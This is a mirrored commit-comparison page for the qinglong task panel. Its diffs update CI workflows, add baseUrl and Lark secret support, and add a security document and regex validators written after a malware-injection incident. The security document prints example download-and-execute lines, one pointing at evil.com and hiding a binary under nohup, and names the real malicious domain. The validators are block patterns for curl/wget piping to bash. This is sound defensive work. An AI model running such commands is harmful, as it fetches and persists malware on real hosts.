mirror of
https://github.com/whyour/qinglong.git
synced 2026-08-11 19:05:20 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ccb423be10 | ||
|
|
d20e154f21 | ||
|
|
0a2d7b1597 | ||
|
|
ac8090d937 | ||
|
|
a030e19fc0 | ||
|
|
d53437d169 | ||
|
|
d526602d19 | ||
|
|
91b44914f6 | ||
|
|
4f6c93cc1c | ||
|
|
e326d89571 | ||
|
|
5f0dafa010 | ||
|
|
dc0b3f2eb2 | ||
|
|
3db716763d | ||
|
|
fae226745e | ||
|
|
9330650163 | ||
|
|
073de76a4a | ||
|
|
c61d1aa828 | ||
|
|
33fa3aca99 | ||
|
|
c772fc9527 | ||
|
|
c5d2aa3aba | ||
|
|
02a05f06bd | ||
|
|
3b0f55caf4 |
@@ -9,15 +9,13 @@ on:
|
|||||||
- "develop"
|
- "develop"
|
||||||
tags:
|
tags:
|
||||||
- "v*"
|
- "v*"
|
||||||
schedule:
|
|
||||||
- cron: "00 20 * * *"
|
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
code_gitlab:
|
code_gitlab:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
- uses: Yikun/hub-mirror-action@master
|
- uses: Yikun/hub-mirror-action@master
|
||||||
@@ -32,7 +30,7 @@ jobs:
|
|||||||
code_gitee:
|
code_gitee:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
- uses: Yikun/hub-mirror-action@master
|
- uses: Yikun/hub-mirror-action@master
|
||||||
@@ -47,12 +45,12 @@ jobs:
|
|||||||
build-static:
|
build-static:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- uses: pnpm/action-setup@v3
|
- uses: pnpm/action-setup@v4
|
||||||
with:
|
with:
|
||||||
version: "8.3.1"
|
version: "8.3.1"
|
||||||
|
|
||||||
- uses: actions/setup-node@v4
|
- uses: actions/setup-node@v6
|
||||||
with:
|
with:
|
||||||
cache: "pnpm"
|
cache: "pnpm"
|
||||||
|
|
||||||
@@ -83,7 +81,7 @@ jobs:
|
|||||||
needs: build-static
|
needs: build-static
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
- uses: Yikun/hub-mirror-action@master
|
- uses: Yikun/hub-mirror-action@master
|
||||||
@@ -99,7 +97,7 @@ jobs:
|
|||||||
needs: build-static
|
needs: build-static
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
- uses: Yikun/hub-mirror-action@master
|
- uses: Yikun/hub-mirror-action@master
|
||||||
@@ -112,6 +110,7 @@ jobs:
|
|||||||
force_update: true
|
force_update: true
|
||||||
|
|
||||||
build:
|
build:
|
||||||
|
if: ${{ !startsWith(github.ref, 'refs/tags/') }}
|
||||||
needs: build-static
|
needs: build-static
|
||||||
|
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
@@ -121,14 +120,21 @@ jobs:
|
|||||||
contents: read
|
contents: read
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- uses: pnpm/action-setup@v3
|
- uses: pnpm/action-setup@v4
|
||||||
with:
|
with:
|
||||||
version: "8.3.1"
|
version: "8.3.1"
|
||||||
- uses: actions/setup-node@v4
|
- uses: actions/setup-node@v6
|
||||||
with:
|
with:
|
||||||
cache: "pnpm"
|
cache: "pnpm"
|
||||||
|
|
||||||
|
- name: Read version from version.yaml
|
||||||
|
id: version
|
||||||
|
run: |
|
||||||
|
VERSION=$(grep '^version:' version.yaml | awk '{print $2}')
|
||||||
|
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||||
|
echo "Version: $VERSION"
|
||||||
|
|
||||||
- name: Setup timezone
|
- name: Setup timezone
|
||||||
uses: szenius/set-timezone@v2.0
|
uses: szenius/set-timezone@v2.0
|
||||||
with:
|
with:
|
||||||
@@ -154,19 +160,13 @@ jobs:
|
|||||||
images: |
|
images: |
|
||||||
${{ github.repository }}
|
${{ github.repository }}
|
||||||
ghcr.io/${{ github.repository }}
|
ghcr.io/${{ github.repository }}
|
||||||
# generate Docker tags based on the following events/attributes
|
|
||||||
# nightly, master, pr-2, 1.2.3, 1.2, 1
|
|
||||||
flavor: |
|
flavor: |
|
||||||
latest=false
|
latest=false
|
||||||
tags: |
|
tags: |
|
||||||
type=schedule,pattern=nightly
|
type=ref,event=branch,enable=${{ github.ref == format('refs/heads/{0}', 'develop') }}
|
||||||
type=edge
|
|
||||||
type=ref,event=pr
|
|
||||||
type=ref,event=branch,enable=${{ github.ref != format('refs/heads/{0}', 'master') }}
|
|
||||||
type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
|
type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
|
||||||
|
type=raw,value=${{ steps.version.outputs.version }},enable=${{ github.ref == format('refs/heads/{0}', 'master') }}
|
||||||
type=semver,pattern={{version}}
|
type=semver,pattern={{version}}
|
||||||
type=semver,pattern={{major}}.{{minor}}
|
|
||||||
type=semver,pattern={{major}}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v3
|
||||||
@@ -208,14 +208,21 @@ jobs:
|
|||||||
contents: read
|
contents: read
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- uses: pnpm/action-setup@v3
|
- uses: pnpm/action-setup@v4
|
||||||
with:
|
with:
|
||||||
version: "8.3.1"
|
version: "8.3.1"
|
||||||
- uses: actions/setup-node@v4
|
- uses: actions/setup-node@v6
|
||||||
with:
|
with:
|
||||||
cache: "pnpm"
|
cache: "pnpm"
|
||||||
|
|
||||||
|
- name: Read version from version.yaml
|
||||||
|
id: version
|
||||||
|
run: |
|
||||||
|
VERSION=$(grep '^version:' version.yaml | awk '{print $2}')
|
||||||
|
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||||
|
echo "Version: $VERSION"
|
||||||
|
|
||||||
- name: Setup timezone
|
- name: Setup timezone
|
||||||
uses: szenius/set-timezone@v2.0
|
uses: szenius/set-timezone@v2.0
|
||||||
with:
|
with:
|
||||||
@@ -254,7 +261,9 @@ jobs:
|
|||||||
context: .
|
context: .
|
||||||
file: ./docker/310.Dockerfile
|
file: ./docker/310.Dockerfile
|
||||||
push: true
|
push: true
|
||||||
tags: whyour/qinglong:python3.10
|
tags: |
|
||||||
|
whyour/qinglong:python3.10
|
||||||
|
whyour/qinglong:${{ steps.version.outputs.version }}-python3.10
|
||||||
cache-from: type=registry,ref=whyour/qinglong:cache-python3.10
|
cache-from: type=registry,ref=whyour/qinglong:cache-python3.10
|
||||||
cache-to: type=registry,ref=whyour/qinglong:cache-python3.10,mode=max
|
cache-to: type=registry,ref=whyour/qinglong:cache-python3.10,mode=max
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,228 @@
|
|||||||
|
# Security Enhancements
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
|
||||||
|
|
||||||
|
## Issue Background
|
||||||
|
|
||||||
|
A security vulnerability was discovered where malicious code could be injected into the system through:
|
||||||
|
1. Cron task fields (`task_before`, `task_after`, `command`)
|
||||||
|
2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
|
||||||
|
|
||||||
|
The reported incident involved a malicious script that:
|
||||||
|
- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
|
||||||
|
- Executed the binary in the background consuming 100% memory
|
||||||
|
- Persisted by continuously re-injecting itself into configuration files
|
||||||
|
|
||||||
|
## Security Fixes Implemented
|
||||||
|
|
||||||
|
### 1. Input Validation for Cron Tasks
|
||||||
|
|
||||||
|
**File:** `/back/validation/schedule.ts`
|
||||||
|
|
||||||
|
Added comprehensive validation to detect and block dangerous shell patterns:
|
||||||
|
|
||||||
|
- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
|
||||||
|
- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
|
||||||
|
- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
|
||||||
|
- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
|
||||||
|
- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
|
||||||
|
- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
|
||||||
|
- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
|
||||||
|
- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
|
||||||
|
|
||||||
|
### 2. Config File Content Security
|
||||||
|
|
||||||
|
**File:** `/back/api/config.ts`
|
||||||
|
|
||||||
|
Enhanced validation for configuration file content to prevent:
|
||||||
|
|
||||||
|
- Downloads followed by execution (`curl | bash`, `wget | bash`)
|
||||||
|
- Download and permission changes (`curl && chmod +x`)
|
||||||
|
- Downloads of hidden files (generalized pattern to catch various malware)
|
||||||
|
- Background execution of hidden files
|
||||||
|
|
||||||
|
### 3. Improved Shell Escaping
|
||||||
|
|
||||||
|
**File:** `/back/services/cron.ts`
|
||||||
|
|
||||||
|
Replaced weak shell escaping with a robust `escapeShellArg()` function that:
|
||||||
|
|
||||||
|
- Properly escapes single quotes using `'\\''` pattern
|
||||||
|
- Replaces newlines with spaces (not semicolons) to prevent command chain creation
|
||||||
|
- Prevents command injection through various shell metacharacters
|
||||||
|
|
||||||
|
## Security Best Practices
|
||||||
|
|
||||||
|
### For Administrators
|
||||||
|
|
||||||
|
1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
|
||||||
|
2. **Monitor Logs**: Check logs for security validation warnings
|
||||||
|
3. **Update Dependencies**: Keep all npm/pip dependencies up to date
|
||||||
|
4. **Limit Access**: Restrict who can create/modify cron tasks and config files
|
||||||
|
5. **Regular Backups**: Maintain backups of configuration files
|
||||||
|
|
||||||
|
### For Users
|
||||||
|
|
||||||
|
1. **Trusted Sources Only**: Only add scripts from trusted repositories
|
||||||
|
2. **Code Review**: Review any script before adding it to your cron tasks
|
||||||
|
3. **Avoid External URLs**: Don't include download commands in task hooks
|
||||||
|
4. **Report Suspicious Activity**: Report any unusual system behavior immediately
|
||||||
|
|
||||||
|
## Validation Error Messages
|
||||||
|
|
||||||
|
When the security system blocks a pattern, you'll see error messages like:
|
||||||
|
|
||||||
|
- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern
|
||||||
|
- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern
|
||||||
|
- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern
|
||||||
|
- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern
|
||||||
|
|
||||||
|
## What to Do If You're Affected
|
||||||
|
|
||||||
|
If you've been affected by the malicious code injection:
|
||||||
|
|
||||||
|
### 1. Immediate Actions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Stop and remove the malicious process
|
||||||
|
pkill -f ".fullgc"
|
||||||
|
rm -f /ql/data/db/.fullgc
|
||||||
|
|
||||||
|
# Check for the malicious code in configuration files
|
||||||
|
grep -r "fullgc" /ql/data/config/
|
||||||
|
grep -r "551911.xyz" /ql/data/config/
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Clean Configuration Files
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Backup current configs
|
||||||
|
cp -r /ql/data/config /ql/data/config.backup
|
||||||
|
|
||||||
|
# Review and clean these files:
|
||||||
|
# - /ql/data/config/config.sh
|
||||||
|
# - /ql/data/config/extra.sh
|
||||||
|
# - /ql/data/config/task_before.sh
|
||||||
|
# - /ql/data/config/task_after.sh
|
||||||
|
|
||||||
|
# Remove any lines containing:
|
||||||
|
# - Downloads (curl, wget)
|
||||||
|
# - External URLs
|
||||||
|
# - .fullgc references
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Review Cron Tasks
|
||||||
|
|
||||||
|
1. Log into Qinglong admin panel
|
||||||
|
2. Check all cron tasks for suspicious content in:
|
||||||
|
- Command field
|
||||||
|
- task_before field
|
||||||
|
- task_after field
|
||||||
|
3. Delete or clean any suspicious tasks
|
||||||
|
|
||||||
|
### 4. Update to Patched Version
|
||||||
|
|
||||||
|
Ensure you're running a version of Qinglong with these security fixes.
|
||||||
|
|
||||||
|
### 5. Change Credentials
|
||||||
|
|
||||||
|
If you suspect compromise:
|
||||||
|
- Change your Qinglong admin password
|
||||||
|
- Review and rotate any API tokens
|
||||||
|
- Check for unauthorized access in logs
|
||||||
|
|
||||||
|
## Detection
|
||||||
|
|
||||||
|
### Log Analysis
|
||||||
|
|
||||||
|
Security events are logged to help detect attempted attacks:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Check for security validation failures in logs
|
||||||
|
grep "安全系统拦截" /ql/data/log/*.log
|
||||||
|
|
||||||
|
# Check for suspicious file modifications
|
||||||
|
grep "配置文件写入" /ql/data/log/*.log
|
||||||
|
```
|
||||||
|
|
||||||
|
### File Integrity
|
||||||
|
|
||||||
|
Regularly check for unexpected files:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Find hidden executables in data directory
|
||||||
|
find /ql/data -type f -name ".*" -executable
|
||||||
|
|
||||||
|
# Check for recently modified config files
|
||||||
|
find /ql/data/config -type f -mtime -1
|
||||||
|
```
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
These security measures provide defense-in-depth but are not foolproof:
|
||||||
|
|
||||||
|
- Legitimate use cases requiring downloads must use alternative methods
|
||||||
|
- Very sophisticated attacks may find bypasses
|
||||||
|
- Users with admin access can still compromise the system
|
||||||
|
- Compromised dependencies can still execute malicious code
|
||||||
|
|
||||||
|
## Alternative Approaches for Legitimate Downloads
|
||||||
|
|
||||||
|
If you have legitimate use cases that require downloads:
|
||||||
|
|
||||||
|
1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
|
||||||
|
2. **Pre-download Files**: Download files manually and add them to the scripts directory
|
||||||
|
3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
|
||||||
|
4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
|
||||||
|
|
||||||
|
## Technical Details
|
||||||
|
|
||||||
|
### Validation Pattern Examples
|
||||||
|
|
||||||
|
**Blocked Pattern:**
|
||||||
|
```bash
|
||||||
|
curl https://example.com/script.sh | bash
|
||||||
|
```
|
||||||
|
**Reason:** Downloads and executes external code
|
||||||
|
|
||||||
|
**Blocked Pattern:**
|
||||||
|
```bash
|
||||||
|
d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
|
||||||
|
```
|
||||||
|
**Reason:** Multiple violations - download, hidden file, chmod, background execution
|
||||||
|
|
||||||
|
**Allowed Pattern:**
|
||||||
|
```bash
|
||||||
|
node /ql/scripts/my_script.js
|
||||||
|
```
|
||||||
|
**Reason:** No dangerous patterns detected
|
||||||
|
|
||||||
|
### Defense in Depth
|
||||||
|
|
||||||
|
This implementation uses multiple layers of security:
|
||||||
|
|
||||||
|
1. **Input Validation**: Blocks malicious patterns before they reach the system
|
||||||
|
2. **Shell Escaping**: Prevents injection even if validation is bypassed
|
||||||
|
3. **Audit Logging**: Records all configuration changes for forensic analysis
|
||||||
|
4. **Least Privilege**: Existing blacklist prevents access to sensitive files
|
||||||
|
|
||||||
|
## Reporting Security Issues
|
||||||
|
|
||||||
|
If you discover a security vulnerability, please report it responsibly:
|
||||||
|
|
||||||
|
1. Do NOT create public GitHub issues for security vulnerabilities
|
||||||
|
2. Contact the maintainers privately
|
||||||
|
3. Provide detailed information about the vulnerability
|
||||||
|
4. Allow time for a patch before public disclosure
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
|
||||||
|
- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
|
||||||
|
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks
|
||||||
+43
-1
@@ -64,7 +64,44 @@ export default (app: Router) => {
|
|||||||
celebrate({
|
celebrate({
|
||||||
body: Joi.object({
|
body: Joi.object({
|
||||||
name: Joi.string().required(),
|
name: Joi.string().required(),
|
||||||
content: Joi.string().allow('').optional(),
|
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
|
||||||
|
if (!value) return value;
|
||||||
|
|
||||||
|
// Security validation for configuration file content
|
||||||
|
const dangerousPatterns = [
|
||||||
|
// Command substitution that could download/execute malware
|
||||||
|
{ pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
||||||
|
{ pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
||||||
|
{ pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
||||||
|
{ pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
||||||
|
|
||||||
|
// Suspicious file downloads followed by execution
|
||||||
|
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
|
||||||
|
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
|
||||||
|
|
||||||
|
// Downloads of hidden files (commonly used in malware)
|
||||||
|
{ pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
|
||||||
|
|
||||||
|
// Background execution of hidden files
|
||||||
|
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const { pattern, desc } of dangerousPatterns) {
|
||||||
|
if (pattern.test(value)) {
|
||||||
|
return helpers.error('string.unsafe', { description: desc });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for excessive length
|
||||||
|
if (value.length > 1000000) {
|
||||||
|
return helpers.error('string.max', { limit: 1000000 });
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}).messages({
|
||||||
|
'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截',
|
||||||
|
'string.max': '配置文件内容过长,已被安全系统拦截',
|
||||||
|
}),
|
||||||
}),
|
}),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
@@ -73,11 +110,16 @@ export default (app: Router) => {
|
|||||||
const { name, content } = req.body;
|
const { name, content } = req.body;
|
||||||
if (config.blackFileList.includes(name)) {
|
if (config.blackFileList.includes(name)) {
|
||||||
res.send({ code: 403, message: '文件无法访问' });
|
res.send({ code: 403, message: '文件无法访问' });
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
let path = join(config.configPath, name);
|
let path = join(config.configPath, name);
|
||||||
if (name.startsWith('data/scripts/')) {
|
if (name.startsWith('data/scripts/')) {
|
||||||
path = join(config.rootPath, name);
|
path = join(config.rootPath, name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Log security-relevant file modifications
|
||||||
|
logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
|
||||||
|
|
||||||
await writeFileWithLock(path, content);
|
await writeFileWithLock(path, content);
|
||||||
res.send({ code: 200, message: '保存成功' });
|
res.send({ code: 200, message: '保存成功' });
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ export default (app: Router) => {
|
|||||||
searchValue: Joi.string().optional().allow(''),
|
searchValue: Joi.string().optional().allow(''),
|
||||||
type: Joi.string().optional().allow(''),
|
type: Joi.string().optional().allow(''),
|
||||||
status: Joi.string().optional().allow(''),
|
status: Joi.string().optional().allow(''),
|
||||||
}),
|
}).unknown(true),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
const logger: Logger = Container.get('logger');
|
const logger: Logger = Container.get('logger');
|
||||||
|
|||||||
+6
-4
@@ -29,7 +29,7 @@ export default (app: Router) => {
|
|||||||
celebrate({
|
celebrate({
|
||||||
query: Joi.object({
|
query: Joi.object({
|
||||||
path: Joi.string().optional().allow(''),
|
path: Joi.string().optional().allow(''),
|
||||||
}),
|
}).unknown(true),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
const logger: Logger = Container.get('logger');
|
const logger: Logger = Container.get('logger');
|
||||||
@@ -79,7 +79,7 @@ export default (app: Router) => {
|
|||||||
query: Joi.object({
|
query: Joi.object({
|
||||||
path: Joi.string().optional().allow(''),
|
path: Joi.string().optional().allow(''),
|
||||||
file: Joi.string().required(),
|
file: Joi.string().required(),
|
||||||
}),
|
}).unknown(true),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
try {
|
try {
|
||||||
@@ -103,7 +103,7 @@ export default (app: Router) => {
|
|||||||
}),
|
}),
|
||||||
query: Joi.object({
|
query: Joi.object({
|
||||||
path: Joi.string().optional().allow(''),
|
path: Joi.string().optional().allow(''),
|
||||||
}),
|
}).unknown(true),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
try {
|
try {
|
||||||
@@ -129,7 +129,8 @@ export default (app: Router) => {
|
|||||||
content: Joi.string().optional().allow(''),
|
content: Joi.string().optional().allow(''),
|
||||||
originFilename: Joi.string().optional().allow(''),
|
originFilename: Joi.string().optional().allow(''),
|
||||||
directory: Joi.string().optional().allow(''),
|
directory: Joi.string().optional().allow(''),
|
||||||
}),
|
file: Joi.string().optional().allow(''),
|
||||||
|
}).unknown(true),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
try {
|
try {
|
||||||
@@ -175,6 +176,7 @@ export default (app: Router) => {
|
|||||||
path,
|
path,
|
||||||
`${originFilename.replace(/\//g, '')}`,
|
`${originFilename.replace(/\//g, '')}`,
|
||||||
);
|
);
|
||||||
|
await fs.mkdir(path, { recursive: true });
|
||||||
const filePath = join(path, `${filename.replace(/\//g, '')}`);
|
const filePath = join(path, `${filename.replace(/\//g, '')}`);
|
||||||
const fileExists = await fileExist(filePath);
|
const fileExists = await fileExist(filePath);
|
||||||
if (fileExists) {
|
if (fileExists) {
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ import { Container } from 'typedi';
|
|||||||
import { Logger } from 'winston';
|
import { Logger } from 'winston';
|
||||||
import SubscriptionService from '../services/subscription';
|
import SubscriptionService from '../services/subscription';
|
||||||
import { celebrate, Joi } from 'celebrate';
|
import { celebrate, Joi } from 'celebrate';
|
||||||
import { CronExpressionParser } from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
const route = Router();
|
const route = Router();
|
||||||
|
|
||||||
export default (app: Router) => {
|
export default (app: Router) => {
|
||||||
|
|||||||
@@ -64,6 +64,19 @@ if (!process.env.QL_DIR) {
|
|||||||
|
|
||||||
const lastVersionFile = `https://qn.whyour.cn/version.yaml`;
|
const lastVersionFile = `https://qn.whyour.cn/version.yaml`;
|
||||||
|
|
||||||
|
// Get and normalize QlBaseUrl
|
||||||
|
let baseUrl = process.env.QlBaseUrl || '';
|
||||||
|
if (baseUrl) {
|
||||||
|
// Ensure it starts with /
|
||||||
|
if (!baseUrl.startsWith('/')) {
|
||||||
|
baseUrl = `/${baseUrl}`;
|
||||||
|
}
|
||||||
|
// Remove trailing slash for consistency in route definitions
|
||||||
|
if (baseUrl.endsWith('/')) {
|
||||||
|
baseUrl = baseUrl.slice(0, -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const rootPath = process.env.QL_DIR as string;
|
const rootPath = process.env.QL_DIR as string;
|
||||||
const envFound = dotenv.config({ path: path.join(rootPath, '.env') });
|
const envFound = dotenv.config({ path: path.join(rootPath, '.env') });
|
||||||
|
|
||||||
@@ -116,6 +129,7 @@ if (envFound.error) {
|
|||||||
export default {
|
export default {
|
||||||
...config,
|
...config,
|
||||||
jwt: config.jwt,
|
jwt: config.jwt,
|
||||||
|
baseUrl,
|
||||||
rootPath,
|
rootPath,
|
||||||
tmpPath,
|
tmpPath,
|
||||||
dataPath,
|
dataPath,
|
||||||
|
|||||||
@@ -142,6 +142,7 @@ export class WebhookNotification extends NotificationBaseInfo {
|
|||||||
|
|
||||||
export class LarkNotification extends NotificationBaseInfo {
|
export class LarkNotification extends NotificationBaseInfo {
|
||||||
public larkKey = '';
|
public larkKey = '';
|
||||||
|
public larkSecret = '';
|
||||||
}
|
}
|
||||||
|
|
||||||
export class NtfyNotification extends NotificationBaseInfo {
|
export class NtfyNotification extends NotificationBaseInfo {
|
||||||
|
|||||||
@@ -15,6 +15,13 @@ import path from 'path';
|
|||||||
export default ({ app }: { app: Application }) => {
|
export default ({ app }: { app: Application }) => {
|
||||||
app.set('trust proxy', 'loopback');
|
app.set('trust proxy', 'loopback');
|
||||||
app.use(cors());
|
app.use(cors());
|
||||||
|
|
||||||
|
// Rewrite URLs to strip baseUrl prefix if configured
|
||||||
|
// This allows the rest of the app to work without baseUrl awareness
|
||||||
|
if (config.baseUrl) {
|
||||||
|
app.use(rewrite(`${config.baseUrl}/*`, '/$1'));
|
||||||
|
}
|
||||||
|
|
||||||
app.get(`${config.api.prefix}/env.js`, serveEnv);
|
app.get(`${config.api.prefix}/env.js`, serveEnv);
|
||||||
app.use(`${config.api.prefix}/static`, express.static(config.uploadPath));
|
app.use(`${config.api.prefix}/static`, express.static(config.uploadPath));
|
||||||
|
|
||||||
|
|||||||
@@ -5,9 +5,10 @@ import SockService from '../services/sock';
|
|||||||
import { getPlatform } from '../config/util';
|
import { getPlatform } from '../config/util';
|
||||||
import { shareStore } from '../shared/store';
|
import { shareStore } from '../shared/store';
|
||||||
import { isValidToken } from '../shared/auth';
|
import { isValidToken } from '../shared/auth';
|
||||||
|
import config from '../config';
|
||||||
|
|
||||||
export default async ({ server }: { server: Server }) => {
|
export default async ({ server }: { server: Server }) => {
|
||||||
const echo = sockJs.createServer({ prefix: '/api/ws', log: () => {} });
|
const echo = sockJs.createServer({ prefix: `${config.baseUrl}/api/ws`, log: () => { } });
|
||||||
const sockService = Container.get(SockService);
|
const sockService = Container.get(SockService);
|
||||||
|
|
||||||
echo.on('connection', async (conn) => {
|
echo.on('connection', async (conn) => {
|
||||||
|
|||||||
@@ -231,6 +231,7 @@ message NotificationInfo {
|
|||||||
optional string webhookContentType = 57;
|
optional string webhookContentType = 57;
|
||||||
|
|
||||||
optional string larkKey = 58;
|
optional string larkKey = 58;
|
||||||
|
optional string larkSecret = 69;
|
||||||
|
|
||||||
optional string ntfyUrl = 59;
|
optional string ntfyUrl = 59;
|
||||||
optional string ntfyTopic = 60;
|
optional string ntfyTopic = 60;
|
||||||
|
|||||||
+19
-1
@@ -1,7 +1,7 @@
|
|||||||
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
|
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
|
||||||
// versions:
|
// versions:
|
||||||
// protoc-gen-ts_proto v2.6.1
|
// protoc-gen-ts_proto v2.6.1
|
||||||
// protoc v3.17.3
|
// protoc v3.21.12
|
||||||
// source: back/protos/api.proto
|
// source: back/protos/api.proto
|
||||||
|
|
||||||
/* eslint-disable */
|
/* eslint-disable */
|
||||||
@@ -382,6 +382,7 @@ export interface NotificationInfo {
|
|||||||
webhookMethod?: string | undefined;
|
webhookMethod?: string | undefined;
|
||||||
webhookContentType?: string | undefined;
|
webhookContentType?: string | undefined;
|
||||||
larkKey?: string | undefined;
|
larkKey?: string | undefined;
|
||||||
|
larkSecret?: string | undefined;
|
||||||
ntfyUrl?: string | undefined;
|
ntfyUrl?: string | undefined;
|
||||||
ntfyTopic?: string | undefined;
|
ntfyTopic?: string | undefined;
|
||||||
ntfyPriority?: string | undefined;
|
ntfyPriority?: string | undefined;
|
||||||
@@ -2947,6 +2948,7 @@ function createBaseNotificationInfo(): NotificationInfo {
|
|||||||
webhookMethod: undefined,
|
